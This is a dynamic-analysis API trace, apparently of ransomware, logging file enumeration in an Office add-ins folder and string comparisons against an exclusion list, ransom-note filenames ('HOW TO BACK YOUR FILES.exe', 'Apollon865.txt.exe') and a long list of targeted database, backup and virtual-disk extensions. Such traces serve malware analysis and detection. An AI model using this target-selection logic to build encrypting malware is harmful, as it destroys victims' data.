	[0071.685] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbea7100, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdbea7100, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSSPC.ECF", cAlternateFileName="")) returned 1
	[0071.685] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0071.685] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="Apollon865.txt.exe") returned 1
	[0071.685] lstrcmpiW (lpString1="MSSPC.ECF", lpString2=".") returned 1
	[0071.685] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="..") returned 1
	[0071.685] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="windows") returned -1
	[0071.685] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="bootmgr") returned 1
	[0071.685] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="temp") returned -1
	[0071.685] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="pagefile.sys") returned -1
	[0071.685] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="boot") returned 1
	[0071.685] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="ids.txt") returned 1
	[0071.685] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="ntuser.dat") returned -1
	[0071.685] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="perflogs") returned -1
	[0071.685] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="MSBuild") returned 1
	[0071.685] lstrlenW (lpString="MSSPC.ECF") returned 9
	[0071.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML") returned 60
	[0071.686] lstrcmpiW (lpString1="MSSPC.ECF", lpString2=".dll") returned 1
	[0071.686] lstrlenW (lpString=".lnk") returned 4
	[0071.686] lstrcmpiW (lpString1="MSSPC.ECF", lpString2=".lnk") returned 1
	[0071.686] lstrlenW (lpString=".ini") returned 4
	[0071.686] lstrcmpiW (lpString1="MSSPC.ECF", lpString2=".ini") returned 1
	[0071.686] lstrlenW (lpString=".sys") returned 4
	[0071.686] lstrcmpiW (lpString1="MSSPC.ECF", lpString2=".sys") returned 1
	[0071.686] lstrlenW (lpString="MSSPC.ECF") returned 9
	[0071.686] lstrlenW (lpString="bak") returned 3
	[0071.686] lstrcmpiW (lpString1="ECF", lpString2="bak") returned 1
	[0071.686] lstrlenW (lpString="ba_") returned 3
	[0071.686] lstrcmpiW (lpString1="ECF", lpString2="ba_") returned 1
	[0071.686] lstrlenW (lpString="dbb") returned 3
	[0071.686] lstrcmpiW (lpString1="ECF", lpString2="dbb") returned 1
	[0071.686] lstrlenW (lpString="vmdk") returned 4
	[0071.686] lstrcmpiW (lpString1=".ECF", lpString2="vmdk") returned -1
	[0071.686] lstrlenW (lpString="rar") returned 3
	[0071.686] lstrcmpiW (lpString1="ECF", lpString2="rar") returned -1
	[0071.686] lstrlenW (lpString="zip") returned 3
	[0071.686] lstrcmpiW (lpString1="ECF", lpString2="zip") returned -1
	[0071.686] lstrlenW (lpString="tgz") returned 3
	[0071.686] lstrcmpiW (lpString1="ECF", lpString2="tgz") returned -1
	[0071.686] lstrlenW (lpString="vbox") returned 4
	[0071.686] lstrcmpiW (lpString1=".ECF", lpString2="vbox") returned -1
	[0071.686] lstrlenW (lpString="vdi") returned 3
	[0071.686] lstrcmpiW (lpString1="ECF", lpString2="vdi") returned -1
	[0071.686] lstrlenW (lpString="vhd") returned 3
	[0071.686] lstrcmpiW (lpString1="ECF", lpString2="vhd") returned -1
	[0071.686] lstrlenW (lpString="vhdx") returned 4
	[0071.686] lstrcmpiW (lpString1=".ECF", lpString2="vhdx") returned -1
	[0071.686] lstrlenW (lpString="avhd") returned 4
	[0071.686] lstrcmpiW (lpString1=".ECF", lpString2="avhd") returned -1
	[0071.686] lstrlenW (lpString="db") returned 2
	[0071.686] lstrcmpiW (lpString1="CF", lpString2="db") returned -1
	[0071.686] lstrlenW (lpString="db2") returned 3
	[0071.686] lstrcmpiW (lpString1="ECF", lpString2="db2") returned 1
	[0071.687] lstrlenW (lpString="db3") returned 3
	[0071.687] lstrcmpiW (lpString1="ECF", lpString2="db3") returned 1
	[0071.687] lstrlenW (lpString="dbf") returned 3
	[0071.687] lstrcmpiW (lpString1="ECF", lpString2="dbf") returned 1
	[0071.687] lstrlenW (lpString="mdf") returned 3
	[0071.687] lstrcmpiW (lpString1="ECF", lpString2="mdf") returned -1
	[0071.687] lstrlenW (lpString="mdb") returned 3
	[0071.687] lstrcmpiW (lpString1="ECF", lpString2="mdb") returned -1
	[0071.687] lstrlenW (lpString="sql") returned 3
	[0071.687] lstrcmpiW (lpString1="ECF", lpString2="sql") returned -1
	[0071.687] lstrlenW (lpString="sqlite") returned 6
	[0071.687] lstrcmpiW (lpString1="PC.ECF", lpString2="sqlite") returned -1
	[0071.687] lstrlenW (lpString="sqlite3") returned 7
	[0071.687] lstrcmpiW (lpString1="SPC.ECF", lpString2="sqlite3") returned -1
	[0071.687] lstrlenW (lpString="sqlitedb") returned 8
	[0071.687] lstrcmpiW (lpString1="SSPC.ECF", lpString2="sqlitedb") returned 1
	[0071.687] lstrlenW (lpString="xml") returned 3
	[0071.687] lstrcmpiW (lpString1="ECF", lpString2="xml") returned -1
	[0071.687] lstrlenW (lpString="$er") returned 3
	[0071.687] lstrcmpiW (lpString1="ECF", lpString2="$er") returned 1
	[0071.687] lstrlenW (lpString="4dd") returned 3
	[0071.687] lstrcmpiW (lpString1="ECF", lpString2="4dd") returned 1
	[0071.687] lstrlenW (lpString="4dl") returned 3
	[0071.687] lstrcmpiW (lpString1="ECF", lpString2="4dl") returned 1
	[0071.687] lstrlenW (lpString="^^^") returned 3
	[0071.687] lstrcmpiW (lpString1="ECF", lpString2="^^^") returned 1
	[0071.687] lstrlenW (lpString="abs") returned 3
	[0071.687] lstrcmpiW (lpString1="ECF", lpString2="abs") returned 1
	[0071.687] lstrlenW (lpString="abx") returned 3
	[0071.687] lstrcmpiW (lpString1="ECF", lpString2="abx") returned 1
	[0071.687] lstrlenW (lpString="accdb") returned 5
	[0071.687] lstrcmpiW (lpString1="C.ECF", lpString2="accdb") returned 1
	[0071.687] lstrlenW (lpString="accdc") returned 5
	[0071.687] lstrcmpiW (lpString1="C.ECF", lpString2="accdc") returned 1
	[0071.687] lstrlenW (lpString="accde") returned 5
	[0071.687] lstrcmpiW (lpString1="C.ECF", lpString2="accde") returned 1
	[0071.687] lstrlenW (lpString="accdr") returned 5
	[0071.687] lstrcmpiW (lpString1="C.ECF", lpString2="accdr") returned 1
	[0071.688] lstrlenW (lpString="accdt") returned 5
	[0071.688] lstrcmpiW (lpString1="C.ECF", lpString2="accdt") returned 1
	[0071.688] lstrlenW (lpString="accdw") returned 5
	[0071.688] lstrcmpiW (lpString1="C.ECF", lpString2="accdw") returned 1
	[0071.688] lstrlenW (lpString="accft") returned 5
	[0071.688] lstrcmpiW (lpString1="C.ECF", lpString2="accft") returned 1
	[0071.688] lstrlenW (lpString="adb") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="adb") returned 1
	[0071.688] lstrlenW (lpString="adb") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="adb") returned 1
	[0071.688] lstrlenW (lpString="ade") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="ade") returned 1
	[0071.688] lstrlenW (lpString="adf") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="adf") returned 1
	[0071.688] lstrlenW (lpString="adn") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="adn") returned 1
	[0071.688] lstrlenW (lpString="adp") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="adp") returned 1
	[0071.688] lstrlenW (lpString="alf") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="alf") returned 1
	[0071.688] lstrlenW (lpString="ask") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="ask") returned 1
	[0071.688] lstrlenW (lpString="btr") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="btr") returned 1
	[0071.688] lstrlenW (lpString="cat") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="cat") returned 1
	[0071.688] lstrlenW (lpString="cdb") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="cdb") returned 1
	[0071.688] lstrlenW (lpString="ckp") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="ckp") returned 1
	[0071.688] lstrlenW (lpString="cma") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="cma") returned 1
	[0071.688] lstrlenW (lpString="cpd") returned 3
	[0071.688] lstrcmpiW (lpString1="ECF", lpString2="cpd") returned 1
	[0071.688] lstrlenW (lpString="dacpac") returned 6
	[0071.688] lstrcmpiW (lpString1="PC.ECF", lpString2="dacpac") returned 1
	[0071.688] lstrlenW (lpString="dad") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="dad") returned 1
	[0071.689] lstrlenW (lpString="dadiagrams") returned 10
	[0071.689] lstrlenW (lpString="daschema") returned 8
	[0071.689] lstrcmpiW (lpString1="SSPC.ECF", lpString2="daschema") returned 1
	[0071.689] lstrlenW (lpString="db-journal") returned 10
	[0071.689] lstrlenW (lpString="db-shm") returned 6
	[0071.689] lstrcmpiW (lpString1="PC.ECF", lpString2="db-shm") returned 1
	[0071.689] lstrlenW (lpString="db-wal") returned 6
	[0071.689] lstrcmpiW (lpString1="PC.ECF", lpString2="db-wal") returned 1
	[0071.689] lstrlenW (lpString="dbc") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="dbc") returned 1
	[0071.689] lstrlenW (lpString="dbs") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="dbs") returned 1
	[0071.689] lstrlenW (lpString="dbt") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="dbt") returned 1
	[0071.689] lstrlenW (lpString="dbv") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="dbv") returned 1
	[0071.689] lstrlenW (lpString="dbx") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="dbx") returned 1
	[0071.689] lstrlenW (lpString="dcb") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="dcb") returned 1
	[0071.689] lstrlenW (lpString="dct") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="dct") returned 1
	[0071.689] lstrlenW (lpString="dcx") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="dcx") returned 1
	[0071.689] lstrlenW (lpString="ddl") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="ddl") returned 1
	[0071.689] lstrlenW (lpString="dlis") returned 4
	[0071.689] lstrcmpiW (lpString1=".ECF", lpString2="dlis") returned -1
	[0071.689] lstrlenW (lpString="dp1") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="dp1") returned 1
	[0071.689] lstrlenW (lpString="dqy") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="dqy") returned 1
	[0071.689] lstrlenW (lpString="dsk") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="dsk") returned 1
	[0071.689] lstrlenW (lpString="dsn") returned 3
	[0071.689] lstrcmpiW (lpString1="ECF", lpString2="dsn") returned 1
	[0071.690] lstrlenW (lpString="dtsx") returned 4
	[0071.690] lstrcmpiW (lpString1=".ECF", lpString2="dtsx") returned -1
	[0071.690] lstrlenW (lpString="dxl") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="dxl") returned 1
	[0071.690] lstrlenW (lpString="eco") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="eco") returned -1
	[0071.690] lstrlenW (lpString="ecx") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="ecx") returned -1
	[0071.690] lstrlenW (lpString="edb") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="edb") returned -1
	[0071.690] lstrlenW (lpString="epim") returned 4
	[0071.690] lstrcmpiW (lpString1=".ECF", lpString2="epim") returned -1
	[0071.690] lstrlenW (lpString="fcd") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="fcd") returned -1
	[0071.690] lstrlenW (lpString="fdb") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="fdb") returned -1
	[0071.690] lstrlenW (lpString="fic") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="fic") returned -1
	[0071.690] lstrlenW (lpString="flexolibrary") returned 12
	[0071.690] lstrlenW (lpString="fm5") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="fm5") returned -1
	[0071.690] lstrlenW (lpString="fmp") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="fmp") returned -1
	[0071.690] lstrlenW (lpString="fmp12") returned 5
	[0071.690] lstrcmpiW (lpString1="C.ECF", lpString2="fmp12") returned -1
	[0071.690] lstrlenW (lpString="fmpsl") returned 5
	[0071.690] lstrcmpiW (lpString1="C.ECF", lpString2="fmpsl") returned -1
	[0071.690] lstrlenW (lpString="fol") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="fol") returned -1
	[0071.690] lstrlenW (lpString="fp3") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="fp3") returned -1
	[0071.690] lstrlenW (lpString="fp4") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="fp4") returned -1
	[0071.690] lstrlenW (lpString="fp5") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="fp5") returned -1
	[0071.690] lstrlenW (lpString="fp7") returned 3
	[0071.690] lstrcmpiW (lpString1="ECF", lpString2="fp7") returned -1
	[0071.690] lstrlenW (lpString="fpt") returned 3
	[0071.691] lstrcmpiW (lpString1="ECF", lpString2="fpt") returned -1
	[0071.691] lstrlenW (lpString="frm") returned 3
	[0071.691] lstrcmpiW (lpString1="ECF", lpString2="frm") returned -1
	[0071.691] lstrlenW (lpString="gdb") returned 3
	[0071.691] lstrcmpiW (lpString1="ECF", lpString2="gdb") returned -1
	[0071.691] lstrlenW (lpString="gdb") returned 3
	[0071.691] lstrcmpiW (lpString1="ECF", lpString2="gdb") returned -1
	[0071.691] lstrlenW (lpString="grdb") returned 4
	[0071.691] lstrcmpiW (lpString1=".ECF", lpString2="grdb") returned -1
	[0071.691] lstrlenW (lpString="gwi") returned 3
	[0071.691] lstrcmpiW (lpString1="ECF", lpString2="gwi") returned -1
	[0071.691] lstrlenW (lpString="hdb") returned 3
	[0071.691] lstrcmpiW (lpString1="ECF", lpString2="hdb") returned -1
	[0071.691] lstrlenW (lpString="his") returned 3
	[0071.691] lstrcmpiW (lpString1="ECF", lpString2="his") returned -1
	[0071.691] lstrlenW (lpString="ib") returned 2
	[0071.691] lstrcmpiW (lpString1="CF", lpString2="ib") returned -1
	[0071.691] lstrlenW (lpString="idb") returned 3
	[0071.691] lstrcmpiW (lpString1="ECF", lpString2="idb") returned -1
	[0071.691] lstrlenW (lpString="ihx") returned 3
	[0071.691] lstrcmpiW (lpString1="ECF", lpString2="ihx") returned -1
	[0071.691] lstrlenW (lpString="itdb") returned 4
	[0071.691] lstrcmpiW (lpString1=".ECF", lpString2="itdb") returned -1
	[0071.691] lstrlenW (lpString="itw") returned 3
	[0071.691] lstrcmpiW (lpString1="ECF", lpString2="itw") returned -1
	[0071.691] lstrlenW (lpString="jet") returned 3
	[0071.691] lstrcmpiW (lpString1="ECF", lpString2="jet") returned -1
	[0071.691] lstrlenW (lpString="jtx") returned 3
	[0071.691] lstrcmpiW (lpString1="ECF", lpString2="jtx") returned -1
	[0071.691] lstrlenW (lpString="kdb") returned 3
	[0071.691] lstrcmpiW (lpString1="ECF", lpString2="kdb") returned -1
	[0071.691] lstrlenW (lpString="kexi") returned 4
	[0071.691] lstrcmpiW (lpString1=".ECF", lpString2="kexi") returned -1
	[0071.691] lstrlenW (lpString="kexic") returned 5
	[0071.691] lstrcmpiW (lpString1="C.ECF", lpString2="kexic") returned -1
	[0071.691] lstrlenW (lpString="kexis") returned 5
	[0071.691] lstrcmpiW (lpString1="C.ECF", lpString2="kexis") returned -1
	[0071.692] lstrlenW (lpString="lgc") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="lgc") returned -1
	[0071.692] lstrlenW (lpString="lwx") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="lwx") returned -1
	[0071.692] lstrlenW (lpString="maf") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="maf") returned -1
	[0071.692] lstrlenW (lpString="maq") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="maq") returned -1
	[0071.692] lstrlenW (lpString="mar") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="mar") returned -1
	[0071.692] lstrlenW (lpString="marshal") returned 7
	[0071.692] lstrcmpiW (lpString1="SPC.ECF", lpString2="marshal") returned 1
	[0071.692] lstrlenW (lpString="mas") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="mas") returned -1
	[0071.692] lstrlenW (lpString="mav") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="mav") returned -1
	[0071.692] lstrlenW (lpString="maw") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="maw") returned -1
	[0071.692] lstrlenW (lpString="mdbhtml") returned 7
	[0071.692] lstrcmpiW (lpString1="SPC.ECF", lpString2="mdbhtml") returned 1
	[0071.692] lstrlenW (lpString="mdn") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="mdn") returned -1
	[0071.692] lstrlenW (lpString="mdt") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="mdt") returned -1
	[0071.692] lstrlenW (lpString="mfd") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="mfd") returned -1
	[0071.692] lstrlenW (lpString="mpd") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="mpd") returned -1
	[0071.692] lstrlenW (lpString="mrg") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="mrg") returned -1
	[0071.692] lstrlenW (lpString="mud") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="mud") returned -1
	[0071.692] lstrlenW (lpString="mwb") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="mwb") returned -1
	[0071.692] lstrlenW (lpString="myd") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="myd") returned -1
	[0071.692] lstrlenW (lpString="ndf") returned 3
	[0071.692] lstrcmpiW (lpString1="ECF", lpString2="ndf") returned -1
	[0071.693] lstrlenW (lpString="nnt") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="nnt") returned -1
	[0071.693] lstrlenW (lpString="nrmlib") returned 6
	[0071.693] lstrcmpiW (lpString1="PC.ECF", lpString2="nrmlib") returned 1
	[0071.693] lstrlenW (lpString="ns2") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="ns2") returned -1
	[0071.693] lstrlenW (lpString="ns3") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="ns3") returned -1
	[0071.693] lstrlenW (lpString="ns4") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="ns4") returned -1
	[0071.693] lstrlenW (lpString="nsf") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="nsf") returned -1
	[0071.693] lstrlenW (lpString="nv") returned 2
	[0071.693] lstrcmpiW (lpString1="CF", lpString2="nv") returned -1
	[0071.693] lstrlenW (lpString="nv2") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="nv2") returned -1
	[0071.693] lstrlenW (lpString="nwdb") returned 4
	[0071.693] lstrcmpiW (lpString1=".ECF", lpString2="nwdb") returned -1
	[0071.693] lstrlenW (lpString="nyf") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="nyf") returned -1
	[0071.693] lstrlenW (lpString="odb") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="odb") returned -1
	[0071.693] lstrlenW (lpString="odb") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="odb") returned -1
	[0071.693] lstrlenW (lpString="oqy") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="oqy") returned -1
	[0071.693] lstrlenW (lpString="ora") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="ora") returned -1
	[0071.693] lstrlenW (lpString="orx") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="orx") returned -1
	[0071.693] lstrlenW (lpString="owc") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="owc") returned -1
	[0071.693] lstrlenW (lpString="p96") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="p96") returned -1
	[0071.693] lstrlenW (lpString="p97") returned 3
	[0071.693] lstrcmpiW (lpString1="ECF", lpString2="p97") returned -1
	[0071.693] lstrlenW (lpString="pan") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="pan") returned -1
	[0071.694] lstrlenW (lpString="pdb") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="pdb") returned -1
	[0071.694] lstrlenW (lpString="pdm") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="pdm") returned -1
	[0071.694] lstrlenW (lpString="pnz") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="pnz") returned -1
	[0071.694] lstrlenW (lpString="qry") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="qry") returned -1
	[0071.694] lstrlenW (lpString="qvd") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="qvd") returned -1
	[0071.694] lstrlenW (lpString="rbf") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="rbf") returned -1
	[0071.694] lstrlenW (lpString="rctd") returned 4
	[0071.694] lstrcmpiW (lpString1=".ECF", lpString2="rctd") returned -1
	[0071.694] lstrlenW (lpString="rod") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="rod") returned -1
	[0071.694] lstrlenW (lpString="rodx") returned 4
	[0071.694] lstrcmpiW (lpString1=".ECF", lpString2="rodx") returned -1
	[0071.694] lstrlenW (lpString="rpd") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="rpd") returned -1
	[0071.694] lstrlenW (lpString="rsd") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="rsd") returned -1
	[0071.694] lstrlenW (lpString="sas7bdat") returned 8
	[0071.694] lstrcmpiW (lpString1="SSPC.ECF", lpString2="sas7bdat") returned 1
	[0071.694] lstrlenW (lpString="sbf") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="sbf") returned -1
	[0071.694] lstrlenW (lpString="scx") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="scx") returned -1
	[0071.694] lstrlenW (lpString="sdb") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="sdb") returned -1
	[0071.694] lstrlenW (lpString="sdc") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="sdc") returned -1
	[0071.694] lstrlenW (lpString="sdf") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="sdf") returned -1
	[0071.694] lstrlenW (lpString="sis") returned 3
	[0071.694] lstrcmpiW (lpString1="ECF", lpString2="sis") returned -1
	[0071.694] lstrlenW (lpString="spq") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="spq") returned -1
	[0071.695] lstrlenW (lpString="te") returned 2
	[0071.695] lstrcmpiW (lpString1="CF", lpString2="te") returned -1
	[0071.695] lstrlenW (lpString="teacher") returned 7
	[0071.695] lstrcmpiW (lpString1="SPC.ECF", lpString2="teacher") returned -1
	[0071.695] lstrlenW (lpString="tmd") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="tmd") returned -1
	[0071.695] lstrlenW (lpString="tps") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="tps") returned -1
	[0071.695] lstrlenW (lpString="trc") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="trc") returned -1
	[0071.695] lstrlenW (lpString="trc") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="trc") returned -1
	[0071.695] lstrlenW (lpString="trm") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="trm") returned -1
	[0071.695] lstrlenW (lpString="udb") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="udb") returned -1
	[0071.695] lstrlenW (lpString="udl") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="udl") returned -1
	[0071.695] lstrlenW (lpString="usr") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="usr") returned -1
	[0071.695] lstrlenW (lpString="v12") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="v12") returned -1
	[0071.695] lstrlenW (lpString="vis") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="vis") returned -1
	[0071.695] lstrlenW (lpString="vpd") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="vpd") returned -1
	[0071.695] lstrlenW (lpString="vvv") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="vvv") returned -1
	[0071.695] lstrlenW (lpString="wdb") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="wdb") returned -1
	[0071.695] lstrlenW (lpString="wmdb") returned 4
	[0071.695] lstrcmpiW (lpString1=".ECF", lpString2="wmdb") returned -1
	[0071.695] lstrlenW (lpString="wrk") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="wrk") returned -1
	[0071.695] lstrlenW (lpString="xdb") returned 3
	[0071.695] lstrcmpiW (lpString1="ECF", lpString2="xdb") returned -1
	[0071.695] lstrlenW (lpString="xld") returned 3
	[0071.696] lstrcmpiW (lpString1="ECF", lpString2="xld") returned -1
	[0071.696] lstrlenW (lpString="xmlff") returned 5
	[0071.696] lstrcmpiW (lpString1="C.ECF", lpString2="xmlff") returned -1
	[0071.696] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a70000, ftCreationTime.dwHighDateTime=0x1ca200c, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd8a70000, ftLastWriteTime.dwHighDateTime=0x1ca200c, nFileSizeHigh=0x0, nFileSizeLow=0x25348, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="otkloadr_x64.dll", cAlternateFileName="OTKLOA~1.DLL")) returned 1
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="Apollon865.txt.exe") returned 1
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2=".") returned 1
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="..") returned 1
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="windows") returned -1
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="bootmgr") returned 1
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="temp") returned -1
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="pagefile.sys") returned -1
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="boot") returned 1
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="ids.txt") returned 1
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="ntuser.dat") returned 1
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="perflogs") returned -1
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="MSBuild") returned 1
	[0071.696] lstrlenW (lpString="otkloadr_x64.dll") returned 16
	[0071.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59
	[0071.696] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="otkloadr_x64.dll" | out: lpString1="otkloadr_x64.dll") returned="otkloadr_x64.dll"
	[0071.696] lstrlenW (lpString="otkloadr_x64.dll") returned 16
	[0071.696] lstrlenW (lpString="Apollon865") returned 10
	[0071.696] lstrcmpiW (lpString1="dr_x64.dll", lpString2="Apollon865") returned 1
	[0071.696] lstrlenW (lpString=".dll") returned 4
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2=".dll") returned 1
	[0071.696] lstrlenW (lpString=".lnk") returned 4
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2=".lnk") returned 1
	[0071.696] lstrlenW (lpString=".ini") returned 4
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2=".ini") returned 1
